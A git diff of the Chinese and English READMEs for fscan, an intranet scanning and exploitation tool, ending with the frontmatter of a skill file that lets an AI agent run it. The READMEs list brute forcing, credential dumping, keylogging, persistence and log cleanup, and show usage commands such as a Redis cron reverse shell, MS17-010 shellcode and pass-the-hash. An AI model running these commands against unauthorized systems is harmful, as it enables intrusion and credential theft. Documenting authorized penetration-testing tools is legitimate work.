- 扩展SDK能力,完善端侧Agent嵌入支持
|
||||
- 断点续扫、带宽级限速、内存水位控制
|
||||
- 更多Agent场景的集成示例
|
||||
|
||||
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
|
||||
### 插件生态
|
||||
- 持续扩展服务插件覆盖范围
|
||||
- 为每个服务插件开发更多漏洞检测和利用能力
|
||||
- 保持插件API向后兼容,确保旧版本POC持续可用
|
||||
|
||||
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
|
||||
### Fscan-lite
|
||||
- C语言重写的轻量版本
|
||||
- 更小的体积,更少的依赖
|
||||
- 支持更多嵌入式/受限环境
|
||||
- 目录: [fscan-lite](./fscan-lite)
|
||||
|
||||
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
|
||||
### Fscan-lab
|
||||
- 内网渗透测试靶场环境
|
||||
- 覆盖所有fscan支持的漏洞场景
|
||||
- 开发测试与功能验证平台
|
||||
- 新手学习与技能练习环境
|
||||
- 目录: [fscan-lab](./fscan-lab)
|
||||
|
||||
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
|
||||
## 免责声明
|
||||
|
||||
本工具仅面向**合法授权**的企业安全建设行为。使用前请确保已获得授权,符合当地法律法规,**不对非授权目标扫描**。作者不承担任何非法使用产生的后果。
|
||||
|
||||
## 404StarLink
|
||||
|
||||
# 0x06 404StarLink 2.0 - Galaxy
|
||||

|
||||
|
||||
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
|
||||
fscan 是 [404Team 星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 成员项目。
|
||||
|
||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
||||
## Star趋势
|
||||
|
||||
演示视频[【安全工具】5大功能,一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M)
|
||||
# 0x07 Star Chart
|
||||
[](https://starchart.cc/shadow1ng/fscan)
|
||||
|
||||
# 0x08 捐赠
|
||||
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
|
||||
## 捐赠
|
||||
|
||||
# 0x09 安全培训
|
||||

|
||||
学网络安全,就选玲珑安全!专业漏洞挖掘,精准定位风险;助力技能提升,塑造安全精英;玲珑安全,为您的数字世界保驾护航!
|
||||
在线免费学习网络安全,涵盖src漏洞挖掘,0基础安全入门。适用于小白,进阶,高手: https://space.bilibili.com/602205041
|
||||
玲珑安全往期学员报喜🎉: https://www.ifhsec.com/list.html
|
||||
玲珑安全漏洞挖掘培训学习联系微信: linglongsec
|
||||
[请作者喝饮料](image/sponsor.png)
|
||||
|
||||
# 0x10 参考链接
|
||||
https://github.com/Adminisme/ServerScan
|
||||
https://github.com/netxfly/x-crack
|
||||
https://github.com/hack2fun/Gscan
|
||||
https://github.com/k8gege/LadonGo
|
||||
https://github.com/jjf012/gopoc
|
||||
## 参考
|
||||
|
||||
[url-docen]: README_EN.md
|
||||
- https://github.com/Adminisme/ServerScan
|
||||
- https://github.com/netxfly/x-crack
|
||||
- https://github.com/hack2fun/Gscan
|
||||
- https://github.com/k8gege/LadonGo
|
||||
- https://github.com/jjf012/gopoc
|
||||
- https://github.com/chainreactors/gogo
|
||||
- https://github.com/0x727/FingerprintHub
|
||||
- https://github.com/killmonday/fscanx
|
||||
|
||||
+240
-214
@@ -1,260 +1,286 @@
|
||||
# fscan
|
||||
[中文][url-doczh]
|
||||
# Fscan
|
||||
|
||||
# 1. Introduction
|
||||
An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
|
||||
It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
|
||||
[中文](README.md)
|
||||
|
||||
# 2. Functions
|
||||
1.Information collection:
|
||||
* Survival detection(icmp)
|
||||
* Port scanning
|
||||
Comprehensive intranet scanning tool for automated vulnerability assessment.
|
||||
|
||||
2.Blasting:
|
||||
* Various service blasting(ssh、smb、rdp, etc.)
|
||||
* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
|
||||
**Version**: 2.2.0-rc
|
||||
|
||||
3.System information, vulnerability scanning:
|
||||
* Netbios detection, domain control identification
|
||||
* Collect NIC information
|
||||
* High Risk Vulnerability Scanning(ms17010, etc.)
|
||||
## Features
|
||||
|
||||
4.Web detection:
|
||||
* Webtitle detection
|
||||
* Web fingerprinting (cms, oa framework, etc.)
|
||||
* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
|
||||
### Scanning
|
||||
- **Host Discovery** - ICMP/Ping alive detection, B/C segment statistics for large networks
|
||||
- **Port Scanning** - TCP connect scan, 133 built-in ports, port groups (web/db/service/all)
|
||||
- **Service Detection** - Smart protocol identification, 20+ service fingerprint matching
|
||||
- **Web Detection** - Website title, CMS fingerprint, web middleware, WAF/CDN detection (40+ signatures)
|
||||
|
||||
5.Exploit:
|
||||
* Write redis public key and scheduled tasks
|
||||
* Excute ssh command
|
||||
* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
|
||||
### Brute Force
|
||||
- **Password Cracking** - 28 services (SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis, etc.)
|
||||
- **Hash Authentication** - NTLM Hash support (SMB/WMI)
|
||||
- **SSH Key Login** - Private key authentication
|
||||
- **Smart Dictionary** - 100+ common passwords, {user} variable substitution
|
||||
|
||||
6.Others:
|
||||
* Save ouput result
|
||||
### Vulnerability Detection
|
||||
- **Critical Vulns** - MS17-010 (EternalBlue), SMBGhost (CVE-2020-0796)
|
||||
- **Unauthorized Access** - Redis/MongoDB/Memcached/Elasticsearch unauthorized detection
|
||||
- **POC Scanning** - Integrated web POC, Xray POC format support
|
||||
- **DNSLog** - DNSLog out-of-band detection
|
||||
|
||||
# 3. Instructions
|
||||
Getting Started
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24
|
||||
fscan.exe -h 192.168.1.1/16
|
||||
### Exploitation
|
||||
- **Redis Exploit** - Write pubkey, crontab, webshell, master-slave RCE
|
||||
- **MS17-010 Exploit** - ShellCode injection, add user, execute commands
|
||||
- **SSH Command Exec** - Auto command execution after authentication
|
||||
|
||||
### Local Modules
|
||||
- **Info Gathering** - System info, environment variables, DC info, NIC config
|
||||
- **Credential Access** - Memory dump (MiniDump), keylogger, registry export
|
||||
- **Persistence** - Systemd service, Windows service, scheduled tasks, startup, LD_PRELOAD
|
||||
- **Reverse Shell** - Forward shell, reverse shell, SOCKS5 proxy service
|
||||
- **AV Detection** - Identify installed security software
|
||||
- **Trace Cleanup** - Log cleaning tool
|
||||
|
||||
### Input/Output
|
||||
- **Target Input** - IP/CIDR/domain/URL, batch file import
|
||||
- **Exclusion Rules** - Exclude specific hosts, ports
|
||||
- **Output Formats** - TXT/JSON/CSV multi-format output
|
||||
- **Silent Mode** - No banner, no progress bar, no color output
|
||||
|
||||
### Network Control
|
||||
- **Proxy Support** - HTTP/SOCKS5 proxy, network interface binding
|
||||
- **Rate Control** - Rate limiting, max packet count control
|
||||
- **Timeout Control** - Port/Web/Global timeout independent config
|
||||
- **Concurrency** - Port scan threads, service scan threads independent config
|
||||
|
||||
### Extensions
|
||||
- **Web Management UI** - Visual scan task management (build with -tags web)
|
||||
- **Lab Environment** - Built-in Docker lab for testing and learning
|
||||
- **Plugin Architecture** - Service/Web/Local plugins separated, easy to extend
|
||||
- **Multi-language** - Chinese/English interface (-lang zh/en)
|
||||
- **Performance Stats** - JSON format performance report (-perf)
|
||||
|
||||
## v2.1.0 Changelog
|
||||
|
||||
> This update includes **262 commits**: 30 new features, 120 fixes, 54 refactors, 14 performance optimizations, 20 test enhancements.
|
||||
|
||||
### Architecture Refactoring
|
||||
- **Global Variable Elimination** - Migrated to Config/State objects for better concurrency safety and testability
|
||||
- **SMB Plugin Consolidation** - Merged smb/smb2/smbghost/smbinfo into unified plugin with new smb_protocol.go
|
||||
- **Service Probe Refactoring** - Implemented Nmap-style fallback mechanism, optimized port fingerprint strategy
|
||||
- **Output System Refactoring** - TXT real-time flush + dual-write mechanism, resolved result loss and ordering issues
|
||||
- **i18n Framework Upgrade** - Migrated to go-i18n, full coverage of core/plugins/webscan modules
|
||||
- **HostInfo Refactoring** - Ports field changed from string to int for type safety
|
||||
- **Function Complexity Optimization** - clusterpoc (125→30), EnhancedPortScan (111→20)
|
||||
- **Code Audit** - Fixed P0-P2 level issues, cleaned up deadcode
|
||||
- **Logging System Optimization** - LogDebug call cleanup (71→18), streamlined startup log output
|
||||
|
||||
### Performance Optimization
|
||||
- **Regex Precompilation** - Global regex precompilation to avoid repeated compilation overhead
|
||||
- **Memory Optimization** - Changed map[string]bool to map[string]struct{} for memory savings
|
||||
- **Concurrent Fingerprint Matching** - Multi-goroutine parallel matching for faster identification
|
||||
- **Connection Reuse** - SOCKS5 global dialer reuse to avoid repeated handshakes
|
||||
- **Sliding Window Scheduling** - Adaptive thread pool + streaming iterator for port scan optimization
|
||||
- **CEL Cache Optimization** - POC scan CEL environment caching to reduce repeated initialization
|
||||
- **Package-level Variable Extraction** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes etc.
|
||||
- **Capacity Pre-allocation** - Simplified conversion chains, single-pass string replacement
|
||||
- **Concurrency Safety Optimization** - Optimized lock granularity and memory allocation
|
||||
|
||||
### New Features
|
||||
- **Web Management UI** - Visual scan task management with responsive layout and progress display
|
||||
- **Multi-format POC Adapter** - Support for xray and afrog format POCs
|
||||
- **Smart Scan Mode** - Bloom filter deduplication + proxy optimization
|
||||
- **Enhanced Fingerprint Library** - Integrated FingerprintHub (3139 fingerprints)
|
||||
- **Favicon Fingerprinting** - Support for mmh3 and MD5 dual-format hash matching
|
||||
- **Universal Version Extractor** - Auto-extract service version information
|
||||
- **Fingerprint Priority Sorting** - Smart sorting of match results
|
||||
- **Smart Protocol Detection** - Auto-detect HTTP/HTTPS protocol type
|
||||
- **Network Interface Binding** - Support for VPN scenarios (-iface parameter)
|
||||
- **Exclude Hosts File** - Read excluded hosts from file (-ehf parameter)
|
||||
- **ICMP Token Bucket Rate Limiting** - Prevent router crashes from high-speed scanning
|
||||
- **Port Scan Retry** - Automatic retry mechanism for failed scans
|
||||
- **RDP Real Authentication** - Integrated grdp library for system fingerprinting
|
||||
- **SMB/FTP File Listing** - Auto-list files on anonymous access
|
||||
- **302 Redirect Dual Detection** - Identify fingerprints from both original and redirected responses
|
||||
- **TXT Output URL Summary** - Append web service URL list for batch testing
|
||||
- **gonmap Core Integration** - Three improvements: probe strategy/matching engine/version parsing
|
||||
- **Selective Plugin Compilation** - Build Tags system for independent service/local/web plugin compilation
|
||||
- **Default Port Expansion** - Extended from 62 to 133 common ports
|
||||
- **Full Port Scan Support** - Expanded port range limits
|
||||
- **HTTP Redirect Control** - Configurable redirect count limit
|
||||
- **Performance Profiling Support** - Added pprof profiling and benchmark tests
|
||||
- **TCP Packet Statistics** - Service plugins support TCP packet send statistics
|
||||
- **fscan-lab Environment** - Intranet penetration training platform covering all vulnerability scenarios
|
||||
- **Redis Exploitation Enhancement** - Ported complete Redis exploitation (write pubkey/crontab/webshell/master-slave RCE)
|
||||
- **rsync Plugin Refactoring** - Restructured authentication logic using go-rsync library
|
||||
|
||||
### Bug Fixes (120 items, key fixes listed)
|
||||
- **RDP Null Pointer Panic** - Fixed certificate parsing crash (#551)
|
||||
- **Batch Scan Missing Results** - Fixed large-scale scan omissions (#304)
|
||||
- **JSON Output Format** - Fixed output format errors (#446)
|
||||
- **Redis Weak Password Detection** - Fixed detection omissions (#447)
|
||||
- **Real-time Result Saving** - Fixed scan results not saved timely (#469)
|
||||
- **Nmap Parse Overflow** - Fixed octal escape parsing bug (#478)
|
||||
- **Fingerprint Race Condition** - Fixed webtitle/webpoc race issues (#474)
|
||||
- **MySQL Connection Validation** - Changed to information_schema for validation
|
||||
- **Proxy Port Misjudgment** - Fixed port status judgment in proxy mode
|
||||
- **Context Timeout** - Fixed 22 plugin timeout unresponsive issues
|
||||
- **ICMP Race Condition** - Fixed concurrent scan race issues
|
||||
- **IPv6 Address Format** - Fixed 4 address formatting issues
|
||||
- **POC High Concurrency Hang** - Fixed Context propagation issues
|
||||
- **Ctrl+C Result Loss** - Added signal handling for proper result saving
|
||||
- **SOCKS5 Echo Issue** - Added proxy connection validation
|
||||
- **Service Probe Leak** - Fixed connection not properly closed
|
||||
- **webtitle Response Discard** - Fixed partial response data being discarded causing identification failure
|
||||
- **TXT Vulnerability Info Missing** - Fixed output missing vulnerability details
|
||||
- **JSON Fingerprint Missing** - Unified SERVICE result Target format
|
||||
- **Scan Duration Display** - Fixed completion time showing as 0
|
||||
- **False Vulnerability Records** - Refactored TXT output system to eliminate false positives
|
||||
- **Redis Cross-platform Path** - Fixed exploitation path and timeout issues
|
||||
- **Windows Compilation Warnings** - Fixed fscan-lite platform compatibility
|
||||
- **Go 1.20 Compatibility** - Downgraded dependencies for compatibility
|
||||
|
||||
### Test Enhancements (20 items)
|
||||
- **Unit Tests** - Core module coverage at 74-100%
|
||||
- **Concurrency Safety Tests** - Dedicated tests for State object and fingerprint matching engine
|
||||
- **Integration Tests** - Web scan/port scan/service probe/SSH auth/ICMP probe
|
||||
- **CLI Parameter Tests** - Command-line argument parsing verification
|
||||
- **Performance Benchmarks** - AdaptivePool and service probe strategy benchmarks
|
||||
- **ResultBuffer Tests** - Deduplication and completeness scoring verification
|
||||
|
||||
### Engineering Improvements
|
||||
- **CI Pipeline Optimization** - Upgraded to golangci-lint v2, simplified build steps
|
||||
- **Issue Automation** - GitHub Issue template optimization, Project automation workflow
|
||||
- **Full Lint Fixes** - revive/errcheck/shadow/staticcheck/gosimple all passing
|
||||
- **README Rewrite** - Comprehensive Chinese and English documentation update
|
||||
- **Code Format Unification** - gofmt/goimports standardization
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
# Scan C-class network
|
||||
./fscan -h 192.168.1.1/24
|
||||
|
||||
# Specify ports
|
||||
./fscan -h 192.168.1.1 -p 22,80,443,3389
|
||||
|
||||
# Alive detection only
|
||||
./fscan -h 192.168.1.1/24 -ao
|
||||
|
||||
# Disable brute force
|
||||
./fscan -h 192.168.1.1/24 -nobr
|
||||
|
||||
# Web scanning
|
||||
./fscan -u http://192.168.1.1
|
||||
|
||||
# Local plugin
|
||||
./fscan -local systeminfo
|
||||
|
||||
# Hash authentication
|
||||
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
|
||||
|
||||
# Redis write pubkey
|
||||
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
|
||||
```
|
||||
|
||||
Advanced
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
|
||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
|
||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
|
||||
fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
|
||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
|
||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
|
||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
|
||||
fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
|
||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
|
||||
fscan.exe -hf ip.txt (Import target from file)
|
||||
fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
|
||||
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
|
||||
fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
|
||||
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
|
||||
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
|
||||
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
|
||||
```
|
||||
Compile command
|
||||
```
|
||||
go build -ldflags="-s -w " -trimpath main.go
|
||||
upx -9 fscan.exe (Optional, compressed)
|
||||
```
|
||||
Installation for arch users
|
||||
`yay -S fscan-git or paru -S fscan-git`
|
||||
## Build
|
||||
|
||||
Full parameters
|
||||
```
|
||||
Usage of ./fscan:
|
||||
-br int
|
||||
Brute threads (default 1)
|
||||
-c string
|
||||
exec command (ssh|wmiexec)
|
||||
-cookie string
|
||||
set poc cookie,-cookie rememberMe=login
|
||||
-debug int
|
||||
every time to LogErr (default 60)
|
||||
-dns
|
||||
using dnslog poc
|
||||
-domain string
|
||||
smb domain
|
||||
-full
|
||||
poc full scan,as: shiro 100 key
|
||||
-h string
|
||||
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
||||
-hash string
|
||||
hash
|
||||
-hf string
|
||||
host file, -hf ip.txt
|
||||
-hn string
|
||||
the hosts no scan,as: -hn 192.168.1.1/24
|
||||
-m string
|
||||
Select scan type ,as: -m ssh (default "all")
|
||||
-no
|
||||
not to save output log
|
||||
-nobr
|
||||
not to Brute password
|
||||
-nopoc
|
||||
not to scan web vul
|
||||
-np
|
||||
not to ping
|
||||
-num int
|
||||
poc rate (default 20)
|
||||
-o string
|
||||
Outputfile (default "result.txt")
|
||||
-p string
|
||||
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
|
||||
-pa string
|
||||
add port base DefaultPorts,-pa 3389
|
||||
-path string
|
||||
fcgi、smb romote file path
|
||||
-ping
|
||||
using ping replace icmp
|
||||
-pn string
|
||||
the ports no scan,as: -pn 445
|
||||
-pocname string
|
||||
use the pocs these contain pocname, -pocname weblogic
|
||||
-pocpath string
|
||||
poc file path
|
||||
-portf string
|
||||
Port File
|
||||
-proxy string
|
||||
set poc proxy, -proxy http://127.0.0.1:8080
|
||||
-pwd string
|
||||
password
|
||||
-pwda string
|
||||
add a password base DefaultPasses,-pwda password
|
||||
-pwdf string
|
||||
password file
|
||||
-rf string
|
||||
redis file to write sshkey file (as: -rf id_rsa.pub)
|
||||
-rs string
|
||||
redis shell to write cron file (as: -rs 192.168.1.1:6666)
|
||||
-sc string
|
||||
ms17 shellcode,as -sc add
|
||||
-silent
|
||||
silent scan
|
||||
-socks5 string
|
||||
set socks5 proxy, will be used in tcp connection, timeout setting will not work
|
||||
-sshkey string
|
||||
sshkey file (id_rsa)
|
||||
-t int
|
||||
Thread nums (default 600)
|
||||
-time int
|
||||
Set timeout (default 3)
|
||||
-top int
|
||||
show live len top (default 10)
|
||||
-u string
|
||||
url
|
||||
-uf string
|
||||
urlfile
|
||||
-user string
|
||||
username
|
||||
-usera string
|
||||
add a user base DefaultUsers,-usera user
|
||||
-userf string
|
||||
username file
|
||||
-wmi
|
||||
start wmi
|
||||
-wt int
|
||||
Set web timeout (default 5)
|
||||
```bash
|
||||
# Standard build
|
||||
go build -ldflags="-s -w" -trimpath -o fscan main.go
|
||||
|
||||
# With Web UI
|
||||
go build -tags web -ldflags="-s -w" -trimpath -o fscan main.go
|
||||
```
|
||||
|
||||
# 4. Demo
|
||||
## Install
|
||||
|
||||
`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
|
||||
```bash
|
||||
# Arch Linux
|
||||
yay -S fscan-git
|
||||
```
|
||||
|
||||
## Screenshots
|
||||
|
||||
`fscan.exe -h 192.168.x.x`
|
||||

|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis write pubkey)
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (add multiple passwords)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
|
||||
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5 proxy with authentication)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
|
||||
`fscan.exe -h 192.0.0.0/8 -m icmp`
|
||||

|
||||
|
||||
# 5. Disclaimer
|
||||

|
||||
|
||||
This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
|
||||

|
||||
|
||||
In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
|
||||
## Roadmap
|
||||
|
||||
When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
|
||||
### Release Schedule
|
||||
- **Release Cycle** - Monthly release
|
||||
- **First 2 Weeks** - New features and enhancements
|
||||
- **Last 2 Weeks** - Bug fixes and code integration
|
||||
- **PRs Welcome** - Contributions are appreciated!
|
||||
|
||||
If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
|
||||
### Plugin Ecosystem
|
||||
- Continuously expand service plugin coverage
|
||||
- Develop more vulnerability detection and exploitation capabilities for each service plugin
|
||||
- Maintain backward compatibility of plugin APIs to ensure legacy POCs remain functional
|
||||
|
||||
Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
|
||||
Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
|
||||
### Fscan-lite
|
||||
- Lightweight version rewritten in C
|
||||
- Smaller binary size, fewer dependencies
|
||||
- Support for embedded/restricted environments
|
||||
- Directory: [fscan-lite](./fscan-lite)
|
||||
|
||||
### Fscan-lab
|
||||
- Intranet penetration testing lab environment
|
||||
- Covers all vulnerability scenarios supported by fscan
|
||||
- Development testing and feature verification platform
|
||||
- Learning and practice environment for beginners
|
||||
- Directory: [fscan-lab](./fscan-lab)
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This tool is intended for **legally authorized** enterprise security testing only. Obtain proper authorization, comply with local laws, **do not scan unauthorized targets**. The author assumes no liability for any illegal use.
|
||||
|
||||
## 404StarLink
|
||||
|
||||
# 6. 404StarLink 2.0 - Galaxy
|
||||

|
||||
|
||||
Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy),If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
|
||||
fscan is a member of [404Team StarLink 2.0](https://github.com/knownsec/404StarLink2.0-Galaxy).
|
||||
|
||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
||||
## Star History
|
||||
|
||||
|
||||
# 7. Star Chart
|
||||
[](https://starchart.cc/shadow1ng/fscan)
|
||||
|
||||
# 8. Donation
|
||||
If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
|
||||
## Donate
|
||||
|
||||
# 9. Reference links
|
||||
https://github.com/Adminisme/ServerScan
|
||||
https://github.com/netxfly/x-crack
|
||||
https://github.com/hack2fun/Gscan
|
||||
https://github.com/k8gege/LadonGo
|
||||
https://github.com/jjf012/gopoc
|
||||
[Buy the author a drink](image/sponsor.png)
|
||||
|
||||
## References
|
||||
|
||||
# 10. Dynamics
|
||||
2022/11/19 Add hash collision, wmiexec echo free command execution function
|
||||
2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
|
||||
2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
|
||||
2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
|
||||
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
|
||||
2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
|
||||
2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
|
||||
2022/1/11 Add oracle password explosion.
|
||||
2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
|
||||
2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
|
||||
2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
|
||||
2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
|
||||
2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
|
||||
2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
|
||||
2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
|
||||
2021/4/22 Modify webtitle module and add gbk decoding.
|
||||
2021/4/21 Add netbios detection and domain control identification functions.
|
||||
2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
|
||||
2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
|
||||
2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
|
||||
2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
|
||||
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
|
||||
2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
|
||||
2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
|
||||
2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
|
||||
2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
|
||||
2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
|
||||
2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
|
||||
2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
|
||||
|
||||
[url-doczh]: README.md
|
||||
- https://github.com/Adminisme/ServerScan
|
||||
- https://github.com/netxfly/x-crack
|
||||
- https://github.com/hack2fun/Gscan
|
||||
- https://github.com/k8gege/LadonGo
|
||||
- https://github.com/jjf012/gopoc
|
||||
- https://github.com/chainreactors/gogo
|
||||
- https://github.com/0x727/FingerprintHub
|
||||
- https://github.com/killmonday/fscanx
|
||||
|
||||
@@ -0,0 +1,304 @@
|
||||
---
|
||||
name: fscan-agent
|
||||
description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。
|
||||
argument-hint: <目标IP/网段> [附加参数]
|
||||
allowed-tools: Bash, Read, Agent
|
||||
---
|
||||
|
||||
